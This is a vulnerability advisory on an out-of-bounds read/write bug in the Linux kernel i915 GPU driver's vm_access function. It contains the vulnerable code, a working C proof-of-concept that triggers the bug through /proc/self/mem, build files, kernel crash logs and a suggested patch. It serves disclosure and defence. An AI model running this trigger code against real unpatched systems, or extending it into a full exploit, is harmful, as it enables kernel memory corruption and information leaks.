Name: Linux Kernel i915 Linear Out-Of-Bound read and write access Author: Adam 'pi3' Zabrocki () Date: November 2021 Description: The Linux Kernel drm/i915 driver supports all (with the exception of some very early models) integrated GFX chipsets with both Intel display and rendering blocks. While the module is called i915 it's actually a general driver for all Intel iGPUs. The help text as of 5.2.20 states "(..) including 830M, 845G, 852GM, 855GM, 865G, 915G, 945G, 965G, G35, G41, G43, G45 chipsets and Celeron, Pentium, Core i3, Core i5, Core i7 as well as Atom CPUs with integrated graphics.". It does not matter if a specific Intel iGPU is or is not listed, all of them are supported by this kernel module. The Intel GPU family is a family of integrated GPU's using Unified Memory Access. For having the GPU "do work", user space will feed the GPU batch buffers. An Intel GPU has multiple engines. There are several engine types. - RCS engine is for rendering 3D and performing compute - BCS is a blitting (copy) engine - VCS is a video encode and decode engine - VECS is video enhancement engine - The enumeration `I915_EXEC_DEFAULT` does not refer to specific engine instead it is to be used by user space to specify a default rendering engine (for 3D) that may or may not be the same as RCS. Intel GPU is enabled in many critical devices, including: - Google Chromebook / Chromium - Most of the business laptops - Power-efficient laptops - Any device using Intel CPU with integrated GPUs Details: Linear Out-Of-Bound (OOB) read and write access causing a memory corruption and/or memory leak bug was found in the Linux Kernel drm/i915 driver. The vulnerability exists in the function 'vm_access' typically used for debugging the processes. This function is needed only for VM_IO | VM_PFNMAP VMAs: static int vm_access(struct vm_area_struct *area, unsigned long addr, void *buf, int len, int write) { struct i915_mmap_offset *mmo = area->vm_private_data; struct drm_i915_gem_object *obj = mmo->obj; struct i915_gem_ww_ctx ww; void *vaddr; int err = 0; if (i915_gem_object_is_readonly(obj) && write) return -EACCES; addr -= area->vm_start; if (addr >= obj->base.size) return -EINVAL; i915_gem_ww_ctx_init(&ww, true); retry: err = i915_gem_object_lock(obj, &ww); if (err) goto out; /* As this is primarily for debugging, let's focus on simplicity */ vaddr = i915_gem_object_pin_map(obj, I915_MAP_FORCE_WC); if (IS_ERR(vaddr)) { err = PTR_ERR(vaddr); goto out; } if (write) { [1] memcpy(vaddr + addr, buf, len); __i915_gem_object_flush_map(obj, addr, len); } else { [2] memcpy(buf, vaddr + addr, len); } i915_gem_object_unpin_map(obj); out: if (err == -EDEADLK) { err = i915_gem_ww_ctx_backoff(&ww); if (!err) goto retry; } i915_gem_ww_ctx_fini(&ww); if (err) return err; return len; } Parameter 'len' is never verified and it is directly used as an argument for the memcpy() function. At line [1], memcpy() function writes the user controlled data to the "pinned" page causing a potential memory corruption / overflow vulnerability. At line [2], memcpy() function reads the memory from the "pinned" page data to area visible to the user causing a potential memory leak problem. Function 'vm_access' verifies certain GEM object attributes, including: - if the object is writable for 'write' request - if the requested access address falls into the VM area inside the GEM object itself However, attacker can point to the last byte of the valid GEM object address and reqest to read and/or write more than 1 byte. Vectors of attacks: Function 'vm_access' is registered in two different vm_operations_struct structures ('vm_ops_gtt' and 'vm_ops_cpu'): static const struct vm_operations_struct vm_ops_gtt = { .fault = vm_fault_gtt, [!] .access = vm_access, .open = vm_open, .close = vm_close, }; static const struct vm_operations_struct vm_ops_cpu = { .fault = vm_fault_cpu, [!] .access = vm_access, .open = vm_open, .close = vm_close, }; These structures are registered in 'i915_gem_mmap' function: /* * This overcomes the limitation in drm_gem_mmap's assignment of a * drm_gem_object as the vma->vm_private_data. Since we need to * be able to resolve multiple mmap offsets which could be tied * to a single gem object. */ int i915_gem_mmap(struct file *filp, struct vm_area_struct *vma) { ... vma->vm_private_data = mmo; switch (mmo->mmap_type) { case I915_MMAP_TYPE_WC: vma->vm_page_prot = pgprot_writecombine(vm_get_page_prot(vma->vm_flags)); vma->vm_ops = &vm_ops_cpu; break; case I915_MMAP_TYPE_FIXED: GEM_WARN_ON(1); fallthrough; case I915_MMAP_TYPE_WB: vma->vm_page_prot = vm_get_page_prot(vma->vm_flags); vma->vm_ops = &vm_ops_cpu; break; case I915_MMAP_TYPE_UC: vma->vm_page_prot = pgprot_noncached(vm_get_page_prot(vma->vm_flags)); vma->vm_ops = &vm_ops_cpu; break; case I915_MMAP_TYPE_GTT: vma->vm_page_prot = pgprot_writecombine(vm_get_page_prot(vma->vm_flags)); vma->vm_ops = &vm_ops_gtt; break; } vma->vm_page_prot = pgprot_decrypted(vma->vm_page_prot); return 0; } Invocation of the 'vm_operations_struct->access' function may happen in the 'access_remote_vm' and/or 'access_process_vm' function: int access_remote_vm(struct mm_struct *mm, unsigned long addr, void *buf, int len, unsigned int gup_flags) { return __access_remote_vm(mm, addr, buf, len, gup_flags); } /* * Access another process' address space. * Source/target buffer must be kernel space, * Do not walk the page table directly, use get_user_pages */ int access_process_vm(struct task_struct *tsk, unsigned long addr, void *buf, int len, unsigned int gup_flags) { struct mm_struct *mm; int ret; mm = get_task_mm(tsk); if (!mm) return 0; ret = __access_remote_vm(mm, addr, buf, len, gup_flags); mmput(mm); return ret; } EXPORT_SYMBOL_GPL(access_process_vm); inside '__access_remote_vm' function: /* * Access another process' address space as given in mm. */ int __access_remote_vm(struct mm_struct *mm, unsigned long addr, void *buf, int len, unsigned int gup_flags) { ... /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL; ret = get_user_pages_remote(mm, addr, 1, gup_flags, &page, &vma, NULL); if (ret <= 0) { #ifndef CONFIG_HAVE_IOREMAP_PROT break; #else /* * Check if this is a VM_IO | VM_PFNMAP VMA, which * we can access using slightly different code. */ vma = vma_lookup(mm, addr); if (!vma) break; if (vma->vm_ops && vma->vm_ops->access) [!] ret = vma->vm_ops->access(vma, addr, buf, len, write); if (ret <= 0) break; bytes = ret; #endif ... } What is interesting is that most of the functions registered as an '.access' callback in the 'vm_operations_struct' structure do validate 'len' argument. However, the generic implementation for the IOMEM mmap access does NOT: int generic_access_phys(struct vm_area_struct *vma, unsigned long addr, void *buf, int len, int write) { resource_size_t phys_addr; unsigned long prot = 0; void __iomem *maddr; pte_t *ptep, pte; spinlock_t *ptl; int offset = offset_in_page(addr); int ret = -EINVAL; if (!(vma->vm_flags & (VM_IO | VM_PFNMAP))) return -EINVAL; retry: if (follow_pte(vma->vm_mm, addr, &ptep, &ptl)) return -EINVAL; pte = *ptep; pte_unmap_unlock(ptep, ptl); prot = pgprot_val(pte_pgprot(pte)); phys_addr = (resource_size_t)pte_pfn(pte) << PAGE_SHIFT; if ((write & FOLL_WRITE) && !pte_write(pte)) return -EINVAL; maddr = ioremap_prot(phys_addr, PAGE_ALIGN(len + offset), prot); if (!maddr) return -ENOMEM; if (follow_pte(vma->vm_mm, addr, &ptep, &ptl)) goto out_unmap; if (!pte_same(pte, *ptep)) { pte_unmap_unlock(ptep, ptl); iounmap(maddr); goto retry; } if (write) memcpy_toio(maddr + offset, buf, len); else memcpy_fromio(buf, maddr + offset, len); ret = len; pte_unmap_unlock(ptep, ptl); out_unmap: iounmap(maddr); return ret; } EXPORT_SYMBOL_GPL(generic_access_phys); Maybe this is why the i915 driver has this bug since their logic is almost identical to the 'generic_access_phys' function. Proof-of-Concept: I've identified 3 different interfaces which could be used for triggering the bug: - ptrace - process_vm_readv / process_vm_writev - /proc/self/mem However, to be able to end-up in the 'vm_access' function we must always point to at lest 1 byte inside the GEM object. This implies that read and/or write operation will always include at least 1 valid GEM byte. What is important, i915 driver logic for "pinning" the page(s) is implemented in the 'i915_gem_object_pin_map' function: /* get, pin, and map the pages of the object into kernel space */ void *i915_gem_object_pin_map(struct drm_i915_gem_object *obj, enum i915_map_type type) { ... if (!ptr) { if (GEM_WARN_ON(type == I915_MAP_WC && !static_cpu_has(X86_FEATURE_PAT))) ptr = ERR_PTR(-ENODEV); [1] else if (i915_gem_object_has_struct_page(obj)) [2] ptr = i915_gem_object_map_page(obj, type); else [3] ptr = i915_gem_object_map_pfn(obj, type); if (IS_ERR(ptr)) goto err_unpin; obj->mm.mapping = page_pack_bits(ptr, type); } ... } The GEM object page can be mapped via 'i915_gem_object_map_page' or 'i915_gem_object_map_pfn' function ([2] or [3]) depending on the results from the call [1]: bool i915_gem_object_has_struct_page(const struct drm_i915_gem_object *obj) { ... return obj->mem_flags & I915_BO_FLAG_STRUCT_PAGE; } if the GEM object has I915_BO_FLAG_STRUCT_PAGE flag, we end-up at function [2], otherwise at function [3]. There is a big difference from the exploitation perspective which function is used because 'i915_gem_object_map_page' calls vmap(): /* The 'mapping' part of i915_gem_object_pin_map() below */ static void *i915_gem_object_map_page(struct drm_i915_gem_object *obj, enum i915_map_type type) { ... vaddr = vmap(pages, n_pages, 0, pgprot); ... } but 'i915_gem_object_map_pfn' calls vmap_pfn(): static void *i915_gem_object_map_pfn(struct drm_i915_gem_object *obj, enum i915_map_type type) { ... vaddr = vmap_pfn(pfns, n_pfn, pgprot_writecombine(PAGE_KERNEL_IO)); ... } vmap() takes an array of pointers to pages and maps these pages to contiguous linear address space. However, it can't be used on persistent memory because persistent memory may not be backed by page structures. vmap_pfn() addresses this limitation and allows to remap PFNs into kernel virtual space. It works like vmap, but takes an array of pfn_t - so it can be used on persistent memory. Unfortunately, vmap() and vmap_pfn() place GUARD page on the top of the mapping in exactly the same way as vmalloc() adds a GUARD page on the top of each allocation. I'm attaching just the simplified PoC which triggers the bug by reading the unmapped memory / guard page, next to the villain GEM object: --- CUT --- /* * This is a simplified Proof-of-Concept (PoC) for the vulnerability: * "Linux Kernel i915 Linear Out-Of-Bound read and write access" * * The bug exists in all i915 drivers since Linux Kernel 5.8 * up to the latest one (at the time of writing this comment it was 5.17-rc) * * January 2022 * Adam 'pi3' Zabrocki */ #define _LARGEFILE64_SOURCE #include #include #include #include #include #include #include #include #include #include #include #define P_DRM_DEVICE "/dev/dri/by-path/pci-0000:00:02.0-card" // "/dev/dri/card0" int main(void) { int drmfd, memfd, ret; unsigned char p_init[4096]; unsigned char p_read_buf[4096]; void *ptr; uintptr_t p_addr; struct drm_i915_gem_create p_gem; struct drm_i915_gem_pwrite p_write; struct drm_prime_handle prime_request; struct drm_i915_gem_mmap_offset offset; struct drm_gem_close murder; printf("\n\t...::: -=[ Simplified PoC for i915 'vm_access' bug ]=- :::...\n"); printf("\t by Adam 'pi3' Zabrocki\n"); printf("\n\t[+] Trying to open DRM device: "); if ( (drmfd = open(P_DRM_DEVICE, O_RDWR, 0)) == -1) { printf("Can't open %s :(\n", P_DRM_DEVICE); exit(-1); } printf("DONE!\n"); printf("\t[+] Trying to create a villain GEM object: "); memset(&p_gem, 0, sizeof(struct drm_i915_gem_create)); p_gem.size = 4096; if ( (ret = ioctl(drmfd, DRM_IOCTL_I915_GEM_CREATE, &p_gem)) != 0) { printf("DRM_IOCTL_I915_GEM_CREATE failed :(\n"); exit(-1); } printf("DONE!\n"); printf("\t[+] Trying to attach data into GTT for the villain GEM object: "); memset(p_init, 0x41, sizeof(p_init)); p_write.handle = p_gem.handle; p_write.offset = 0; p_write.size = sizeof(p_init); p_write.data_ptr = (uintptr_t) &p_init[0]; if ( (ret = ioctl(drmfd, DRM_IOCTL_I915_GEM_PWRITE, &p_write)) != 0) { printf("DRM_IOCTL_I915_GEM_PWRITE failed :(/n"); exit(-1); } printf("DONE!\n"); printf("\t[+] Trying to create a file descriptor from the handle to the villain GEM object: "); prime_request.handle = p_gem.handle; prime_request.flags = DRM_CLOEXEC | DRM_RDWR; prime_request.fd = -1; if ( (ret = ioctl(drmfd, DRM_IOCTL_PRIME_HANDLE_TO_FD, &prime_request)) != 0) { printf("DRM_IOCTL_PRIME_HANDLE_TO_FD failed :(\n"); exit(-1); } printf("DONE!\n"); printf("\t[+] Trying to MMAP villain GEM object: "); offset.handle = p_gem.handle; offset.offset = -1; offset.flags = I915_MMAP_OFFSET_UC; // 3 if ( (ret = ioctl(drmfd, DRM_IOCTL_I915_GEM_MMAP_OFFSET, &offset)) != 0) { printf("DRM_IOCTL_I915_GEM_MMAP_OFFSET failed :(\n"); exit(-1); } if ( (ptr = mmap(NULL, p_gem.size, PROT_READ|PROT_WRITE, MAP_PRIVATE, drmfd, offset.offset)) == MAP_FAILED) { printf("mmap() failed :(\n"); exit(-1); } printf("DONE (addr = 0x%lx)!\n",(unsigned long)ptr); printf("\t[+] Trying to open own memory: "); if ( (memfd = open("/proc/self/mem", O_RDWR, 0)) == -1) { printf("Can't open /proc/self/mem :(\n"); exit(-1); } printf("DONE!\n"); printf("\t[+] Trying to find the edge of the villain GEM object in own memory: "); // memcpy(p_read_buf, ptr+4092, sizeof(p_read_buf)); p_addr = (uintptr_t)((unsigned long)ptr + 4092); if (lseek64(memfd, p_addr, SEEK_SET) == -1) { printf("lseek64 failed :(\n"); exit(-1); } printf("DONE!\n"); printf("\t[+] Triggering the buf (out of bound read)...\n\n"); read(memfd, p_read_buf, sizeof(p_read_buf)); /* Cleanup */ memset(&murder, 0, sizeof(murder)); murder.handle = p_gem.handle; ioctl(drmfd, DRM_IOCTL_GEM_CLOSE, &murder); munmap(ptr, p_gem.size); close(memfd); close(drmfd); return 0; } --- CUT --- Makefile and testcase for kernel 5.8: --- CUT --- INC = -I/usr/include -I/usr/src/linux-headers-5.8.0-050800/include -I/usr/src/linux-headers-5.8.0-050800/include/uapi INC = -I/usr/src/linux-headers-5.8.0-050800/include/uapi -I/usr/src/linux-headers-5.8.0-050800/include # the build target executable: TARGET = poc .PHONY: all all: $(TARGET) ./poc $(TARGET): $(TARGET).c $(CC) -Wno-cpp -g3 -ggdb $(INC) -o $(TARGET) $(TARGET).c clean: $(RM) $(TARGET) --- CUT --- To be able to communicate with the DRM/DRI devices, user must be in the video group. Example of running the PoC: --- CUT --- pi3@murder-VM:~$ cd simplified_poc/ pi3@murder-VM:~/simplified_poc$ make ./poc ...::: -=[ Simplified PoC for i915 'vm_access' bug ]=- :::... by Adam 'pi3' Zabrocki [+] Trying to open DRM device: DONE! [+] Trying to create a villain GEM object: DONE! [+] Trying to attach data into GTT for the villain GEM object: DONE! [+] Trying to create a file descriptor from the handle to the villain GEM object: DONE! [+] Trying to MMAP villain GEM object: DONE (addr = 0x7f10e89da000)! [+] Trying to open own memory: DONE! [+] Trying to find the edge of the villain GEM object in own memory: DONE! [+] Triggering the buf (out of bound read)... make: *** [Makefile:9: all] Killed pi3@murder-VM:~/simplified_poc$ --- CUT --- kernel logs: --- CUT --- [ 2706.589001] BUG: unable to handle page fault for address: ffffb23ac04fa000 [ 2706.589011] #PF: supervisor read access in kernel mode [ 2706.589016] #PF: error_code(0x0000) - not-present page [ 2706.589021] PGD 1026570067 P4D 1026570067 PUD 1026571067 PMD 102526e067 PTE 0 [ 2706.589032] Oops: 0000 [#9] SMP PTI [ 2706.589039] CPU: 3 PID: 1560 Comm: poc Tainted: G D 5.8.0-050800-generic #202008022230 [ 2706.589045] Hardware name: System manufacturer System Product Name/PRIME Z370-A, BIOS 2401 07/12/2019 [ 2706.589059] RIP: 0010:memcpy_erms+0x6/0x10 [ 2706.589066] Code: c3 cc cc cc eb 1e 0f 1f 00 48 89 f8 48 89 d1 48 c1 e9 03 83 e2 07 f3 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8 48 89 d1 a4 c3 0f 1f 80 00 00 00 00 48 89 f8 48 83 fa 20 72 7e 40 38 fe [ 2706.589077] RSP: 0018:ffffb23ac143fd58 EFLAGS: 00010246 [ 2706.589083] RAX: ffff8a48a3501000 RBX: 0000000000001000 RCX: 0000000000000ffc [ 2706.589089] RDX: 0000000000001000 RSI: ffffb23ac04fa000 RDI: ffff8a48a3501004 [ 2706.589094] RBP: ffffb23ac143fd90 R08: 0000000000ee2e7a R09: ffffb23ac143fbf0 [ 2706.589100] R10: 0000000000001000 R11: 0000000000000001 R12: 0000000000000ffc [ 2706.589105] R13: ffff8a489c7e2a00 R14: ffff8a48a3501000 R15: 0000000000000000 [ 2706.589112] FS: 00007f00a2fd9540(0000) GS:ffff8a48ac8c0000(0000) knlGS:0000000000000000 [ 2706.589118] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2706.589124] CR2: ffffb23ac04fa000 CR3: 0000000fe0926001 CR4: 00000000003606e0 [ 2706.589130] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 2706.589135] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 2706.589140] Call Trace: [ 2706.589264] ? vm_access+0x75/0xc0 [i915] [ 2706.589276] __access_remote_vm+0x26e/0x330 [ 2706.589285] access_remote_vm+0x21/0x30 [ 2706.589295] mem_rw.isra.0+0x134/0x200 [ 2706.589304] mem_read+0x18/0x20 [ 2706.589311] vfs_read+0xaa/0x190 [ 2706.589317] ksys_read+0x67/0xe0 [ 2706.589324] __x64_sys_read+0x1a/0x20 [ 2706.589332] do_syscall_64+0x52/0xc0 [ 2706.589341] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 2706.589348] RIP: 0033:0x7f00a2ef7142 [ 2706.589355] Code: c0 e9 c2 fe ff ff 50 48 8d 3d 3a ca 0a 00 e8 f5 19 02 00 0f 1f 44 00 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 0f 05 <48> 3d 00 f0 ff ff 77 56 c3 0f 1f 44 00 00 48 83 ec 28 48 89 54 24 [ 2706.589364] RSP: 002b:00007ffc1bd0a408 EFLAGS: 00000246 ORIG_RAX: 0000000000000000 [ 2706.589372] RAX: ffffffffffffffda RBX: 000055a42fcd2780 RCX: 00007f00a2ef7142 [ 2706.589377] RDX: 0000000000001000 RSI: 00007ffc1bd0b4a0 RDI: 0000000000000005 [ 2706.589383] RBP: 00007ffc1bd0c4b0 R08: 0000000000000030 R09: 0000000000000046 [ 2706.589388] R10: 000055a42fcd32f8 R11: 0000000000000246 R12: 000055a42fcd21c0 [ 2706.589393] R13: 00007ffc1bd0c5a0 R14: 0000000000000000 R15: 0000000000000000 [ 2706.589400] Modules linked in: ipmi_devintf ipmi_msghandler binfmt_misc intel_rapl_msr intel_rapl_common mei_hdcp nls_iso8859_1 x86_pkg_temp_thermal intel_powerclamp coretemp snd_hda_codec_hdmi kvm_intel snd_hda_intel kvm snd_intel_dspcfg snd_hda_codec ucsi_ccg snd_hda_core rapl snd_hwdep eeepc_wmi typec_ucsi asus_wmi intel_cstate intel_wmi_thunderbolt wmi_bmof sparse_keymap joydev typec input_leds snd_pcm efi_pstore mei_me ee1004 snd_timer mei snd soundcore ie31200_edac acpi_pad mac_hid sch_fq_codel sunrpc ip_tables x_tables autofs4 hid_generic usbhid hid i915 i2c_algo_bit crct10dif_pclmul mxm_wmi drm_kms_helper crc32_pclmul ghash_clmulni_intel syscopyarea sysfillrect aesni_intel sysimgblt fb_sys_fops cec crypto_simd rc_core cryptd glue_helper ixgbe drm i2c_i801 xfrm_algo i2c_smbus dca ahci mdio xhci_pci libahci xhci_pci_renesas i2c_nvidia_gpu wmi video [ 2706.589486] CR2: ffffb23ac04fa000 [ 2706.589493] ---[ end trace c5d7c38f105643d1 ]--- [ 2706.617506] RIP: 0010:memcpy_erms+0x6/0x10 [ 2706.617508] Code: c3 cc cc cc eb 1e 0f 1f 00 48 89 f8 48 89 d1 48 c1 e9 03 83 e2 07 f3 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8 48 89 d1 a4 c3 0f 1f 80 00 00 00 00 48 89 f8 48 83 fa 20 72 7e 40 38 fe [ 2706.617510] RSP: 0018:ffffb23ac06f3d58 EFLAGS: 00010246 [ 2706.617511] RAX: ffff8a486be6e000 RBX: 0000000000001000 RCX: 0000000000000ffc [ 2706.617512] RDX: 0000000000001000 RSI: ffffb23ac0088000 RDI: ffff8a486be6e004 [ 2706.617527] RBP: ffffb23ac06f3d90 R08: 00000000010205e7 R09: ffffb23ac06f3bf0 [ 2706.617528] R10: 0000000000001000 R11: 0000000000000001 R12: 0000000000000ffc [ 2706.617529] R13: ffff8a4899222100 R14: ffff8a486be6e000 R15: 0000000000000000 [ 2706.617530] FS: 00007f00a2fd9540(0000) GS:ffff8a48ac8c0000(0000) knlGS:0000000000000000 [ 2706.617531] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2706.617532] CR2: ffffb23ac04fa000 CR3: 0000000fe0926001 CR4: 00000000003606e0 [ 2706.617533] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 2706.617534] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 --- CUT --- Makefile and testcase for kernel 5.17-rc2: --- CUT --- INC = -I/usr/include -I/usr/src/linux-git/include -I/usr/src/linux-git/include/uapi INC = -I/usr/src/linux-git/include/uapi -I/usr/src/linux-git/include # the build target executable: TARGET = poc .PHONY: all all: $(TARGET) ./poc $(TARGET): $(TARGET).c $(CC) -Wno-cpp -g3 -ggdb $(INC) -o $(TARGET) $(TARGET).c clean: $(RM) $(TARGET) --- CUT --- kernel logs: --- CUT --- [ 166.512625] BUG: unable to handle page fault for address: ffffb00a8010a000 [ 166.512628] #PF: supervisor read access in kernel mode [ 166.512631] #PF: error_code(0x0000) - not-present page [ 166.512633] PGD 100000067 P4D 100000067 PUD 1001d6067 PMD 1001d7067 PTE 0 [ 166.512640] Oops: 0000 [#1] PREEMPT SMP PTI [ 166.512643] CPU: 1 PID: 1889 Comm: poc Tainted: G I 5.17.0-rc2+ #2 [ 166.512647] Hardware name: Hewlett-Packard HP EliteBook 2570p/17DF, BIOS 68ISB Ver. F.40 02/01/2013 [ 166.512649] RIP: 0010:memcpy_erms+0x6/0x10 [ 166.512657] Code: cc cc cc cc eb 1e 0f 1f 00 48 89 f8 48 89 d1 48 c1 e9 03 83 e2 07 f3 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8 48 89 d1 a4 c3 0f 1f 80 00 00 00 00 48 89 f8 48 83 fa 20 72 7e 40 38 fe [ 166.512660] RSP: 0018:ffffb00a819d3ca8 EFLAGS: 00010246 [ 166.512663] RAX: ffff8d410aa8d000 RBX: ffff8d4179400900 RCX: 0000000000000ffc [ 166.512665] RDX: 0000000000001000 RSI: ffffb00a8010a000 RDI: ffff8d410aa8d004 [ 166.512667] RBP: ffffb00a819d3d28 R08: 0000000000000000 R09: ffffb00a819d3aa8 [ 166.512669] R10: ffffb00a819d3aa0 R11: ffffffffa7155f48 R12: 0000000000000ffc [ 166.512671] R13: 0000000000001000 R14: 0000000000001000 R15: 0000000000000000 [ 166.512674] FS: 00007fd88c1455c0(0000) GS:ffff8d442ea40000(0000) knlGS:0000000000000000 [ 166.512676] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 166.512679] CR2: ffffb00a8010a000 CR3: 00000001123d4005 CR4: 00000000001706e0 [ 166.512681] Call Trace: [ 166.512683] [ 166.512687] ? vm_access.cold+0x68/0x6a [i915] [ 166.512796] __access_remote_vm+0x241/0x380 [ 166.512803] access_remote_vm+0xe/0x10 [ 166.512807] mem_rw.isra.0+0x117/0x1f0 [ 166.512813] mem_read+0x18/0x20 [ 166.512816] vfs_read+0x9f/0x1a0 [ 166.512820] ksys_read+0x67/0xe0 [ 166.512823] __x64_sys_read+0x19/0x20 [ 166.512826] do_syscall_64+0x5c/0xc0 [ 166.512829] ? fpregs_assert_state_consistent+0x26/0x50 [ 166.512835] ? exit_to_user_mode_prepare+0x49/0x1e0 [ 166.512840] ? syscall_exit_to_user_mode+0x27/0x50 [ 166.512844] ? __x64_sys_write+0x19/0x20 [ 166.512846] ? do_syscall_64+0x69/0xc0 [ 166.512849] ? exc_page_fault+0x89/0x180 [ 166.512853] ? asm_exc_page_fault+0x8/0x30 [ 166.512857] entry_SYSCALL_64_after_hwframe+0x44/0xae [ 166.512862] RIP: 0033:0x7fd88c033912 [ 166.512866] Code: c0 e9 b2 fe ff ff 50 48 8d 3d 5a b9 0c 00 e8 05 19 02 00 0f 1f 44 00 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 0f 05 <48> 3d 00 f0 ff ff 77 56 c3 0f 1f 44 00 00 48 83 ec 28 48 89 54 24 [ 166.512869] RSP: 002b:00007ffeb2ad3d28 EFLAGS: 00000246 ORIG_RAX: 0000000000000000 [ 166.512872] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fd88c033912 [ 166.512874] RDX: 0000000000001000 RSI: 00007ffeb2ad4dc0 RDI: 0000000000000005 [ 166.512877] RBP: 00007ffeb2ad5dd0 R08: 0000000000000000 R09: 00007ffeb2ad3bfc [ 166.512879] R10: 00007fd88c18d2f8 R11: 0000000000000246 R12: 00007ffeb2ad5ef8 [ 166.512881] R13: 00007fd88c18c2a9 R14: 0000000000000000 R15: 00007fd88c187c40 [ 166.512885] [ 166.512887] Modules linked in: rfcomm cmac algif_hash algif_skcipher af_alg bnep nls_iso8859_1 snd_hda_codec_hdmi snd_ctl_led snd_hda_codec_idt snd_hda_codec_generic ledtrig_audio iwldvm snd_hda_intel snd_intel_dspcfg snd_intel_sdw_acpi snd_hda_codec intel_rapl_msr intel_rapl_common x86_pkg_temp_thermal snd_hda_core intel_powerclamp mac80211 coretemp snd_hwdep mei_hdcp btusb kvm_intel snd_pcm btrtl btbcm uvcvideo btintel snd_seq_midi libarc4 kvm snd_seq_midi_event btmtk bluetooth iwlwifi videobuf2_vmalloc snd_rawmidi videobuf2_memops rapl videobuf2_v4l2 snd_seq intel_cstate ecdh_generic videobuf2_common wmi_bmof snd_seq_device videodev ecc cfg80211 hp_wmi platform_profile mc sparse_keymap joydev input_leds snd_timer serio_raw efi_pstore mei_me snd soundcore mei hp_accel tpm_infineon lis3lv02d mac_hid sch_fq_codel msr parport_pc ppdev lp parport ip_tables x_tables autofs4 btrfs blake2b_generic xor raid6_pq zstd_compress libcrc32c dm_mirror dm_region_hash dm_log i915 i2c_algo_bit ttm [ 166.512960] drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops cec crct10dif_pclmul crc32_pclmul rc_core ghash_clmulni_intel aesni_intel crypto_simd sdhci_pci cryptd cqhci ahci drm psmouse e1000e libahci lpc_ich sdhci xhci_pci xhci_pci_renesas wmi video [ 166.512982] CR2: ffffb00a8010a000 [ 166.512985] ---[ end trace 0000000000000000 ]--- [ 166.998251] RIP: 0010:memcpy_erms+0x6/0x10 [ 166.998263] Code: cc cc cc cc eb 1e 0f 1f 00 48 89 f8 48 89 d1 48 c1 e9 03 83 e2 07 f3 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8 48 89 d1 a4 c3 0f 1f 80 00 00 00 00 48 89 f8 48 83 fa 20 72 7e 40 38 fe [ 166.998266] RSP: 0018:ffffb00a819d3ca8 EFLAGS: 00010246 [ 166.998269] RAX: ffff8d410aa8d000 RBX: ffff8d4179400900 RCX: 0000000000000ffc [ 166.998271] RDX: 0000000000001000 RSI: ffffb00a8010a000 RDI: ffff8d410aa8d004 [ 166.998274] RBP: ffffb00a819d3d28 R08: 0000000000000000 R09: ffffb00a819d3aa8 [ 166.998276] R10: ffffb00a819d3aa0 R11: ffffffffa7155f48 R12: 0000000000000ffc [ 166.998277] R13: 0000000000001000 R14: 0000000000001000 R15: 0000000000000000 [ 166.998279] FS: 00007fd88c1455c0(0000) GS:ffff8d442ea40000(0000) knlGS:0000000000000000 [ 166.998282] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 166.998284] CR2: ffffb00a8010a000 CR3: 00000001123d4005 CR4: 00000000001706e0 --- CUT --- PoC correctly hit the vulnerable path on kernel 5.8 as well as 5.17-rc2. Suggested fix: --- CUT --- diff --git a/drivers/gpu/drm/i915/gem/i915_gem_mman.c b/drivers/gpu/drm/i915/gem/i915_gem_mman.c --- a/drivers/gpu/drm/i915/gem/i915_gem_mman.c +++ b/drivers/gpu/drm/i915/gem/i915_gem_mman.c @@ -439,7 +439,9 @@ vm_access(struct vm_area_struct *area, unsigned long addr, return -EACCES; addr -= area->vm_start; - if (addr >= obj->base.size) + if (len < 1 || len > obj->base.size || + addr >= obj->base.size || + addr + len > obj->base.size) return -EINVAL; i915_gem_ww_ctx_init(&ww, true); --- CUT --- Affected Software: The Linux Kernel drm/i915 driver added support for debugging the processes for VM_IO | VM_PFNMAP VMAs since Linux Kernel 5.8 by introducing the 'vm_access' function. All the Linux Kernel drm/i915 drivers since that version are vulnerable (including the latest mainline Linux Kernel - at the time of writing this comment it was 5.17-rc). Btw. I would like to thank the following people who helped me during this research: - Jared Candelaria - Brad 'spender' Spengler Best regards, Adam 'pi3' Zabrocki -- http://pi3.com.pl